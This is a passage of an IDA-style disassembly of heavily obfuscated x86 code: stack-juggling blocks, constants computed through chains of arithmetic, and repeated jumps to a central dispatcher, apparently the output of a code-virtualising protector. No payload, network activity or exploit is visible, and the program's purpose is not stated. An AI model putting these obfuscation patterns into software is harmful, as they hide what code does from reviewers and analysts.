; ---------------------------------------------------------------------------


loc_572CF7:				; CODE XREF: ud2_____:005765ECj
		pop	eax
		mov	ebx, [esp]
		jmp	loc_576164
; ---------------------------------------------------------------------------


loc_572D00:				; CODE XREF: ud2_____:0057DB7Bj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		push	edx
		push	5CF607B9h
		pop	edx
		not	edx
		or	edx, 1EC07C31h
		not	edx
		xor	edx, 4B3D3354h
		mov	edi, edx
		pop	edx
		jmp	loc_57CC1C
; ---------------------------------------------------------------------------


loc_572D36:				; CODE XREF: ud2_____:0057870Ej
		push	eax
		push	esp
		mov	eax, [esp]
		jmp	loc_57A936
; ---------------------------------------------------------------------------


loc_572D40:				; CODE XREF: ud2_____:00577B3Cj
		neg	ebp
		jmp	loc_572382
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3473h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2AC2248Bh
		push	esi
		mov	esi, 36016B54h
		jmp	loc_577282
; ---------------------------------------------------------------------------


loc_572D6E:				; CODE XREF: ud2_____:0057879Ej
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572D73:				; CODE XREF: ud2_____:0057B00Ej
		mov	ebx, 31171106h
		shr	ebx, 1
		sub	ebx, 7C102F05h
		push	eax
		mov	eax, 0DE83B4Ah
		push	edx
		jmp	loc_572C7F
; ---------------------------------------------------------------------------


loc_572D8C:				; CODE XREF: ud2_____:0057934Bj
		mov	[esp], eax
		push	ebp
		mov	ebp, 22263FCh
		or	ebp, 1FF077A2h
		add	ebp, 0F5C0CD5Ah
		mov	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 3B751A95h
		add	edx, esi
		pop	esi
		add	edx, eax
		push	esi
		jmp	loc_574615
; ---------------------------------------------------------------------------


loc_572DB5:				; CODE XREF: ud2_____:00571EA4j
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 40h
		jmp	loc_572122
; ---------------------------------------------------------------------------


loc_572DC4:				; CODE XREF: ud2_____:00574030j
		and	ah, 56h
		push	bx
		mov	bl, 2Fh
		jmp	loc_572E35
; ---------------------------------------------------------------------------


loc_572DD0:				; CODE XREF: ud2_____:00573696j
		pop	edx
		or	edx, 51687632h
		add	edx, 0FFFFFFFFh
		not	edx
		push	edi
		mov	edi, 260D4538h
		jmp	loc_57AEFC
; ---------------------------------------------------------------------------


loc_572DE7:				; CODE XREF: ud2_____:00576EE0j
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 28D91AD9h
		jmp	loc_576DF9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_578A2B
; ---------------------------------------------------------------------------


loc_572E06:				; CODE XREF: ud2_____:0057989Cj
		pop	eax
		jmp	loc_578152
; ---------------------------------------------------------------------------


loc_572E0C:				; CODE XREF: ud2_____:0057A1BEj
		xor	eax, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		xor	[edi+24h], eax
		neg	eax
		push	dword ptr [edi+24h]
		push	eax
		pop	dword ptr [edi+24h]
		pop	eax
		add	dword ptr [edi+24h], 5B8F7E70h
		xor	edx, edx
		push	ebp
		push	ebx
		push	esi
		jmp	loc_573707
; ---------------------------------------------------------------------------


loc_572E35:				; CODE XREF: ud2_____:00572DCBj
		add	ah, bl
		pop	bx
		and	ah, 0CAh
		push	664Ah
		jmp	loc_57D15B
; ---------------------------------------------------------------------------


loc_572E46:				; CODE XREF: ud2_____:005781AEj
		xor	al, bl
		mov	ebx, [esp]
		push	7416h
		jmp	loc_57A557
; ---------------------------------------------------------------------------


loc_572E55:				; CODE XREF: ud2_____:00574E80j
		pop	esi
		not	edi
		jmp	loc_5724EB
; ---------------------------------------------------------------------------


loc_572E5D:				; CODE XREF: ud2_____:00579E38j
		pop	esp
		mov	[esp], esi
		push	0D25h
		mov	[esp], ebx
		jmp	loc_5725E8
; ---------------------------------------------------------------------------


loc_572E6E:				; CODE XREF: ud2_____:00578758j
		push	esp
		pop	ecx
		push	7A1Bh
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57BD90
; ---------------------------------------------------------------------------


loc_572E8A:				; CODE XREF: ud2_____:0057ABDDj
		neg	eax
		inc	eax
		shl	eax, 6
		add	eax, 5D7A05D1h
		add	eax, 3F74185Bh
		and	ebp, eax
		pop	eax
		add	ebp, 3A295AE2h
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		add	ebp, 11D8CC3Ch
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		sub	edx, 6FAF1955h
		jmp	loc_57B220
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572EC7:				; CODE XREF: ud2_____:00578906j
		mov	[esp], ebx
		mov	ebx, 486E280Fh
		dec	ebx
		sub	ebx, 11242FEBh
		jmp	loc_57C6F3
; ---------------------------------------------------------------------------


loc_572EDB:				; CODE XREF: ud2_____:005724DEj
		mov	eax, [esp]
		add	esp, 4
		not	eax
		jmp	loc_5765A9
; ---------------------------------------------------------------------------


loc_572EEB:				; CODE XREF: ud2_____:00573187j
		pop	ebx
		add	esp, 4
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	al, 0C7h
		mov	bh, al
		jmp	loc_57379B
; ---------------------------------------------------------------------------


loc_572F04:				; CODE XREF: ud2_____:00576CB0j
		not	ebx
		not	ebx
		shr	ebx, 1
		shr	ebx, 7
		xor	ebx, 0B1F4525h
		add	ebx, 0FD0D8C1Eh
		sub	edx, ebx
		pop	ebx
		add	edx, edi
		push	73DEh
		mov	[esp], eax
		mov	eax, 4FC83E83h
		add	eax, 0B8B432D4h
		jmp	loc_57A0F7
; ---------------------------------------------------------------------------


loc_572F35:				; CODE XREF: ud2_____:00574D50j
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	ax, [esp]
		push	324Ch
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 53BC62F1h
		dec	edi
		neg	edi
		add	edi, 58441A5Eh
		sub	edi, 406A6E23h
		jmp	loc_573BA7
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57C720
; ---------------------------------------------------------------------------


loc_572F75:				; CODE XREF: ud2_____:0057BCC5j
		add	esp, 4
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp]
		jmp	loc_5731F7
; ---------------------------------------------------------------------------


loc_572F8C:				; CODE XREF: ud2_____:00578ADDj
		pop	ax
		not	bh
		xchg	bh, dl
		add	dl, 0FFh
		dec	dl
		inc	dl
		xor	dl, 0D8h
		add	ch, dl
		pop	edx
		push	ebx
		jmp	loc_577493
; ---------------------------------------------------------------------------


loc_572FA5:				; CODE XREF: ud2_____:0057B462j
		pop	edi
		add	esp, 4
		pop	ecx
		push	ebp
		jmp	loc_571BC6
; ---------------------------------------------------------------------------


loc_572FB3:				; CODE XREF: ud2_____:0057A535j
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		sub	[edi+24h], eax
		jmp	loc_57D59B
; ---------------------------------------------------------------------------


loc_572FDB:				; CODE XREF: ud2_____:0057DA1Fj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572FE0:				; CODE XREF: ud2_____:00578A46j
		mov	ebp, 5B059FBh
		shl	ebp, 8
		jmp	loc_5730C7
; ---------------------------------------------------------------------------


loc_572FED:				; CODE XREF: ud2_____:00575C78j
		add	bl, 47h
		pop	eax
		add	bl, al
		push	cx
		mov	ch, 77h
		add	bl, ch
		pop	cx
		jmp	loc_57579C
; ---------------------------------------------------------------------------


loc_573000:				; CODE XREF: ud2_____:00578C90j
		not	ah
		xor	ah, 0A3h
		xor	ch, ah
		pop	eax
		push	ecx
		mov	ch, 8Ch
		sub	ch, 34h
		jmp	loc_57BFE5
; ---------------------------------------------------------------------------


loc_573013:				; CODE XREF: ud2_____:00571AD5j
		add	esp, 4
		jmp	loc_574AEB
; ---------------------------------------------------------------------------


loc_57301B:				; CODE XREF: ud2_____:00574854j
		mov	[esp], esi
		push	4FD4h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_57576D
; ---------------------------------------------------------------------------


loc_57302C:				; CODE XREF: ud2_____:0057738Cj
		push	edx
		mov	edx, 78A20911h
		jmp	loc_576FB9
; ---------------------------------------------------------------------------


loc_573037:				; CODE XREF: ud2_____:005743F7j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5780EC
; ---------------------------------------------------------------------------


loc_573046:				; CODE XREF: ud2_____:005721C9j
		add	dword ptr [esp+4], 54912368h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 54912368h
		push	eax
		jmp	loc_5762DF
; ---------------------------------------------------------------------------


loc_573060:				; CODE XREF: ud2_____:00575095j
		sub	esi, 1C461062h
		add	esi, 427E5A2Bh
		pop	ebx
		jmp	loc_573BBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_573072:				; CODE XREF: sub_59C59F-24C48j
		inc	ah
		shr	ah, 5
		add	ah, 0D2h
		push	edx
		mov	dh, ah
		jmp	loc_57B2CB
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_573082:				; CODE XREF: ud2_____:0057B360j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 53331334h
		sub	ebp, 32165C1Ch
		add	ebp, eax
		add	ebp, 32165C1Ch
		sub	ebp, 53331334h
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	ebp, 31B84839h
		sub	ebp, eax
		add	ebp, 31B84839h
		jmp	loc_5789EE
; ---------------------------------------------------------------------------


loc_5730C7:				; CODE XREF: ud2_____:00572FE8j
		not	ebp
		shr	ebp, 6
		sub	ebp, 13E980Fh
		sub	ebx, 598130BCh
		add	ebx, ebp
		add	ebx, 598130BCh
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	esi
		jmp	loc_579F5C
; ---------------------------------------------------------------------------


loc_5730EB:				; CODE XREF: ud2_____:0057CB74j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5740B8
; ---------------------------------------------------------------------------


loc_5730F9:				; CODE XREF: ud2_____:0057CA0Aj
		xchg	esi, [esp]
		jmp	loc_57A330
; ---------------------------------------------------------------------------


loc_573101:				; CODE XREF: ud2_____:00575311j
		mov	esp, [esp]
		jmp	loc_577309
; ---------------------------------------------------------------------------


loc_573109:				; CODE XREF: ud2_____:00571DE3j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57B90A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5737EE
; ---------------------------------------------------------------------------


loc_57311B:				; CODE XREF: ud2_____:00578835j
		sub	ecx, eax
		pop	eax
		add	ecx, esi
		push	ebp
		mov	ebp, 2A6B1187h
		xor	ebp, 577A2DE0h
		add	ecx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_57D29B
; ---------------------------------------------------------------------------


loc_573140:				; CODE XREF: ud2_____:0057C569j
		sub	eax, ebp
		pop	ebp
		sub	eax, 6FB2175Dh
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		imul	ecx
		push	62Ah
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573160:				; CODE XREF: ud2_____:00578E67j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_574BF9
; ---------------------------------------------------------------------------


loc_57316C:				; CODE XREF: ud2_____:005791D5j
		push	4206h
		mov	[esp], edx
		jmp	loc_5776A7
; ---------------------------------------------------------------------------


loc_573179:				; CODE XREF: ud2_____:00574A77j
		mov	edx, [esp]
		add	esp, 4
		sub	al, bh
		push	dword ptr [esp]
		jmp	loc_572EEB
; ---------------------------------------------------------------------------


loc_57318C:				; CODE XREF: ud2_____:00574F38j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573191:				; CODE XREF: ud2_____:00574119j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	1E32h
		mov	[esp], eax
		jmp	loc_57C983
; ---------------------------------------------------------------------------


loc_5731A3:				; CODE XREF: ud2_____:005783D8j
		mov	ch, bl
		jmp	loc_57438E
; ---------------------------------------------------------------------------


loc_5731AA:				; CODE XREF: ud2_____:0057D89Dj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_5743CF
; ---------------------------------------------------------------------------


loc_5731BD:				; CODE XREF: ud2_____:00578CC8j
		xor	ebp, 92D9BD87h
		sub	edi, 66BF24BBh
		add	edi, ebp
		add	edi, 66BF24BBh
		pop	ebp
		pop	esi
		jmp	loc_573A4F
; ---------------------------------------------------------------------------


loc_5731D8:				; CODE XREF: ud2_____:00575A19j
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 2C7C478Ah
		add	edx, eax
		sub	edx, 2C7C478Ah
		add	edx, 11D031Bh
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5731F7:				; CODE XREF: ud2_____:00572F87j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573209:				; CODE XREF: ud2_____:0057A7E6j
		sub	edx, ecx
		pop	ecx
		push	ecx
		push	ebx
		push	ebp
		jmp	loc_57587D
; ---------------------------------------------------------------------------


loc_573214:				; CODE XREF: ud2_____:00578805j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 24h
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5748F5
; ---------------------------------------------------------------------------


loc_573235:				; CODE XREF: ud2_____:00572B7Ej
		sub	edx, 7D5B2374h
		shl	edx, 7
		push	68EBh
		mov	[esp], edx
		jmp	loc_575378
; ---------------------------------------------------------------------------


loc_57324B:				; CODE XREF: ud2_____:0057405Cj
		add	eax, 4
		add	eax, 4
		jmp	loc_575381
; ---------------------------------------------------------------------------


loc_573258:				; CODE XREF: ud2_____:00572268j
		mov	edi, 2
		sub	edx, 69876538h
		add	edx, 40A476BFh
		jmp	loc_5745C5
; ---------------------------------------------------------------------------


loc_57326E:				; CODE XREF: ud2_____:0057AB72j
		add	ebx, edi
		xor	ebp, [ebx]
		pop	ebx
		push	ebx
		mov	ebx, 24h
		add	ebx, 5CDD6313h
		jmp	loc_575AA3
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	7344h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_571CBB
; ---------------------------------------------------------------------------


loc_573299:				; CODE XREF: ud2_____:00573BDAj
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	edx
		mov	edx, 308E3D99h
		mov	ebp, edx
		pop	edx
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		shr	ebp, 6
		xor	ebp, 43E35285h
		and	ebp, 4D540634h
		add	ebp, 0BFABFC00h
		jmp	loc_576B07
; ---------------------------------------------------------------------------


loc_5732CD:				; CODE XREF: ud2_____:00575967j
		movzx	ecx, al
		push	edx
		push	esp
		jmp	loc_57CD77
; ---------------------------------------------------------------------------


loc_5732D7:				; CODE XREF: ud2_____:0057D6BDj
		sub	dh, 9Dh
		add	dh, 0E8h
		jmp	loc_578954
; ---------------------------------------------------------------------------


loc_5732E2:				; CODE XREF: ud2_____:00579C08j
		add	edi, ebx
		jmp	loc_579E89
; ---------------------------------------------------------------------------


loc_5732E9:				; CODE XREF: ud2_____:005759B7j
		mov	esi, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		shr	esi, 5
		and	esi, 360121C0h
		xor	esi, 31DC6186h
		push	esi
		xor	dword ptr [esp], 477D1EB5h
		pop	edx
		jmp	loc_5752B8
; ---------------------------------------------------------------------------


loc_573312:				; CODE XREF: ud2_____:00575C22j
		pop	ecx
		sub	al, bl
		sub	al, 0A9h
		jmp	loc_577010
; ---------------------------------------------------------------------------


loc_57331C:				; CODE XREF: ud2_____:0057461Cj
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57332B:				; CODE XREF: ud2_____:0057AD3Ej
		pop	eax
		jmp	loc_577391
; ---------------------------------------------------------------------------


loc_573331:				; CODE XREF: ud2_____:0057892Dj
		sub	bl, 31h
		sub	bl, 8
		sub	bl, al
		add	bl, 8
		add	bl, 31h
		push	eax
		mov	al, 0C1h
		inc	al
		jmp	loc_579A52
; ---------------------------------------------------------------------------


loc_573349:				; CODE XREF: ud2_____:00576EF2j
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	6EFDh
		jmp	loc_571B19
; ---------------------------------------------------------------------------


loc_57335D:				; CODE XREF: ud2_____:0057926Ej
		sub	[esp], edi
		jmp	loc_5724E3
; ---------------------------------------------------------------------------


loc_573365:				; CODE XREF: ud2_____:00579306j
		mov	edi, esp
		push	eax
		mov	eax, esp
		jmp	loc_576E2E
; ---------------------------------------------------------------------------


loc_57336F:				; CODE XREF: ud2_____:00571CE8j
		xor	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_578674
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		push	58EAh
		mov	[esp], esi
		jmp	loc_57CAA3
; ---------------------------------------------------------------------------


loc_57338E:				; CODE XREF: ud2_____:0057D3F2j
		mov	eax, 2
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5729FF
; ---------------------------------------------------------------------------


loc_5733A3:				; CODE XREF: ud2_____:0057384Ej
		mov	ebp, 3A9D20D5h
		not	ebp
		and	ebp, 27332EECh
		add	ebp, 5163517Dh
		jmp	loc_574D79
; ---------------------------------------------------------------------------


loc_5733BB:				; CODE XREF: ud2_____:0057421Fj
		pop	ecx
		sub	ecx, 52B650F8h
		mov	eax, ecx
		pop	ecx
		jmp	loc_576493
; ---------------------------------------------------------------------------


loc_5733CA:				; CODE XREF: ud2_____:00571E91j
		sub	esp, 4
		jmp	loc_57AC66
; ---------------------------------------------------------------------------


loc_5733D5:				; CODE XREF: ud2_____:0057342Bj
		pop	esp
		push	41C6h
		mov	[esp], ebx
		jmp	loc_579901
; ---------------------------------------------------------------------------


loc_5733E3:				; CODE XREF: ud2_____:005786E6j
		push	ebp
		jmp	loc_575223
; ---------------------------------------------------------------------------


loc_5733E9:				; CODE XREF: ud2_____:0057CD7Fj
		mov	edi, 1A9126F9h
		add	edi, 5CE066A2h
		inc	edi
		shl	edi, 5
		dec	edi
		add	edi, 0A520051h
		sub	edi, 0E46C799Fh
		jmp	loc_57782B
; ---------------------------------------------------------------------------


loc_57340A:				; CODE XREF: ud2_____:0057A110j
		pop	esp
		jmp	loc_57A1DF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5733D5
; ---------------------------------------------------------------------------


loc_573430:				; CODE XREF: ud2_____:0057CE8Dj
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_57990E
; ---------------------------------------------------------------------------


loc_57343B:				; CODE XREF: ud2_____:00579B0Dj
		add	dword ptr [esp], 350329Bh
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5723F3
; ---------------------------------------------------------------------------


loc_57344D:				; CODE XREF: ud2_____:00578588j
		mov	edi, 2
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_573470:				; CODE XREF: ud2_____:005776AEj
		mov	edx, [esp]
		add	esp, 4
		not	eax
		shl	eax, 3
		shr	eax, 3
		xor	eax, 52125BFh
		add	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_575A07
; ---------------------------------------------------------------------------


loc_57348C:				; CODE XREF: ud2_____:00574968j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_57C09A
; ---------------------------------------------------------------------------


loc_573499:				; CODE XREF: ud2_____:00578B9Fj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_573D66
; ---------------------------------------------------------------------------


loc_5734AA:				; CODE XREF: ud2_____:00577C9Ej
		mov	[esp], edx
		mov	edx, 2
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_576131
; ---------------------------------------------------------------------------


loc_5734BD:				; CODE XREF: ud2_____:00571DFAj
		push	cx
		mov	ch, 81h
		sub	dl, ch
		pop	cx
		jmp	loc_576159
; ---------------------------------------------------------------------------


loc_5734CA:				; CODE XREF: ud2_____:00578083j
		mov	[esp], ecx
		mov	ecx, 6988051Eh
		sub	edx, 75D95028h
		add	edx, 2A120B7Dh
		sub	edx, ecx
		sub	edx, 2A120B7Dh
		add	edx, 75D95028h
		pop	ecx
		add	esi, 35557788h
		add	esi, edx
		jmp	loc_57AA08
; ---------------------------------------------------------------------------


loc_5734FA:				; CODE XREF: ud2_____:00579CDDj
		shl	edx, 2
		not	edx
		sub	edx, 8B024B7Bh
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_571BDE
; ---------------------------------------------------------------------------


loc_57350F:				; CODE XREF: ud2_____:0057D2D9j
		push	7074h
		mov	[esp], edx
		mov	edx, 2
		sub	esp, 4
		mov	[esp], edx
		add	dword ptr [esp], 1F7D6C4Ah
		pop	esi
		sub	esi, 1F7D6C4Ah
		mov	edx, [esp]
		add	esp, 4
		add	eax, 49CD1812h
		sub	eax, esi
		sub	eax, 49CD1812h
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_57AA14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_57354E:				; CODE XREF: sub_59C59F-233E6j
		xor	dl, 5Fh
		add	dl, 2Fh
		add	dl, 0A9h
		push	ax
		mov	al, 3
		sub	dl, 95h
		jmp	loc_571DB8
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_573563:				; CODE XREF: ud2_____:0057755Cj
		mov	[esp], edx
		mov	dl, 7Fh
		not	dl
		neg	dl
		jmp	loc_57772F
; ---------------------------------------------------------------------------


loc_573571:				; CODE XREF: ud2_____:005792A4j
		mov	[esp], esi
		jmp	loc_57A0CE
; ---------------------------------------------------------------------------


loc_573579:				; CODE XREF: ud2_____:00577050j
		mov	al, dl
		mov	dl, cl
		pop	ecx
		xchg	dl, bl
		push	edx
		push	ebx
		mov	bh, 0BCh
		mov	dh, bh
		pop	ebx
		dec	dh
		xor	dh, 0DAh
		shl	dh, 7
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 9Eh
		add	cl, 0Ch
		jmp	loc_571C07
; ---------------------------------------------------------------------------


loc_5735A2:				; CODE XREF: ud2_____:00579BDAj
		xchg	eax, esi
		push	esi
		jmp	loc_57D96F
; ---------------------------------------------------------------------------


loc_5735A9:				; CODE XREF: ud2_____:00578732j
		pop	esp
		xchg	eax, [esp]
		jmp	loc_57C4C3
; ---------------------------------------------------------------------------


loc_5735B2:				; CODE XREF: ud2_____:00576C24j
		mov	bh, dl
		pop	edx
		sub	al, bh
		pop	bx
		pop	edx
		push	7461h
		mov	[esp], ebx
		push	eax
		jmp	loc_571EEC
; ---------------------------------------------------------------------------


loc_5735C8:				; CODE XREF: ud2_____:0057CADFj
		add	esp, 4


loc_5735CB:				; CODE XREF: ud2_____:00573EB0j
					; ud2_____:005753D8j
		push	dword ptr [edi+24h]
		push	365Eh
		jmp	loc_57B2AE
; ---------------------------------------------------------------------------


loc_5735D8:				; CODE XREF: ud2_____:0057BDA8j
		mov	ebp, 4
		jmp	loc_57A01A
; ---------------------------------------------------------------------------


loc_5735E2:				; CODE XREF: ud2_____:0057962Aj
		push	774Bh
		mov	[esp], eax
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 64E62377h
		xor	ecx, 392304B4h
		and	ecx, 30F55FAFh
		jmp	loc_5741E6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_57247A
; ---------------------------------------------------------------------------


loc_57360E:				; CODE XREF: ud2_____:00579B02j
		pop	ebp
		push	edx
		jmp	loc_573C92
; ---------------------------------------------------------------------------


loc_573615:				; CODE XREF: ud2_____:005779AFj
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_572ABB
; ---------------------------------------------------------------------------


loc_573620:				; CODE XREF: ud2_____:005774A6j
		pop	ebx
		not	ch
		inc	ch
		jmp	loc_57A123
; ---------------------------------------------------------------------------


loc_57362A:				; CODE XREF: ud2_____:00579961j
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	ecx, 0Ah
		push	ecx
		jmp	loc_57D46B
; ---------------------------------------------------------------------------


loc_57363F:				; CODE XREF: ud2_____:00571BF4j
		push	ebx
		jmp	loc_57D52B
; ---------------------------------------------------------------------------


loc_573645:				; CODE XREF: ud2_____:0057BDECj
		xchg	edi, [esp]
		pop	esp
		push	edx
		jmp	loc_57B0C0
; ---------------------------------------------------------------------------


loc_57364F:				; CODE XREF: ud2_____:0057A2EFj
		push	ebx
		jmp	loc_57CA0F
; ---------------------------------------------------------------------------


loc_573655:				; CODE XREF: ud2_____:0057DA89j
		add	eax, 0E78B8A37h
		add	esi, eax
		pop	eax
		add	esi, 4
		jmp	loc_57C816
; ---------------------------------------------------------------------------


loc_573668:				; CODE XREF: ud2_____:0057B603j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57366D:				; CODE XREF: ud2_____:00573A61j
		push	ebp
		mov	ebp, 65F46907h
		shr	ebp, 7
		add	ebp, 3D2C6BAAh
		jmp	loc_57A14A
; ---------------------------------------------------------------------------


loc_573681:				; CODE XREF: ud2_____:00572803j
		add	esp, 4
		sub	eax, 948E982Ah
		jmp	loc_575C0A
; ---------------------------------------------------------------------------


loc_573691:				; CODE XREF: ud2_____:00578B73j
		push	44806259h
		jmp	loc_572DD0
; ---------------------------------------------------------------------------


loc_57369B:				; CODE XREF: ud2_____:0057BEB3j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5736A0:				; CODE XREF: ud2_____:00579C34j
		push	4B88h
		jmp	loc_57BBB9
; ---------------------------------------------------------------------------


loc_5736AA:				; CODE XREF: ud2_____:005790E8j
		xor	al, 0CAh
		add	dh, al
		mov	eax, [esp]
		add	esp, 4
		sub	ch, dh
		pop	edx
		add	ch, 42h
		mov	bh, ch
		pop	ecx
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	bl, 66h
		sub	bl, 86h
		add	bl, 0DDh
		push	dx
		jmp	loc_576574
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	7AEEh
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_57802D
; ---------------------------------------------------------------------------


loc_573707:				; CODE XREF: ud2_____:00572E30j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 6B2D6128h
		xor	[esp+4], ecx
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 35CC125Ah
		add	edx, 35614ECEh
		jmp	loc_57DB40
; ---------------------------------------------------------------------------


loc_573735:				; CODE XREF: ud2_____:00577FBCj
		push	edi
		mov	edi, 4E115357h
		shl	edi, 7
		add	edi, 0F7565484h
		add	ebp, edi
		jmp	loc_574E8E
; ---------------------------------------------------------------------------


loc_57374B:				; CODE XREF: ud2_____:00577648j
		pop	esi
		add	eax, ecx
		push	edi
		mov	edi, 0D3343E8h
		and	edi, 4BC82CD1h
		inc	edi
		shl	edi, 4
		and	edi, 5C842295h
		neg	edi
		sub	edi, 0EA47822Bh
		jmp	loc_574277
; ---------------------------------------------------------------------------


loc_573771:				; CODE XREF: ud2_____:0057B831j
		mov	ecx, 67D710D8h
		jmp	loc_577062
; ---------------------------------------------------------------------------


loc_57377B:				; CODE XREF: ud2_____:00573FC7j
		add	ebp, edi
		sub	ebp, 5A75E71h
		pop	edi
		add	esi, ebp
		pop	ebp
		jmp	loc_57B23E
; ---------------------------------------------------------------------------


loc_57378C:				; CODE XREF: ud2_____:0057C7A7j
		add	esi, ebp
		jmp	loc_57DAE8
; ---------------------------------------------------------------------------


loc_573793:				; CODE XREF: ud2_____:00577214j
		pop	eax
		xor	ecx, edx
		jmp	loc_571D4E
; ---------------------------------------------------------------------------


loc_57379B:				; CODE XREF: ud2_____:00572EFFj
		pop	eax
		dec	bh
		jmp	loc_576194
; ---------------------------------------------------------------------------


loc_5737A3:				; CODE XREF: ud2_____:0057A2C6j
		not	esi
		shl	esi, 1
		shr	esi, 2
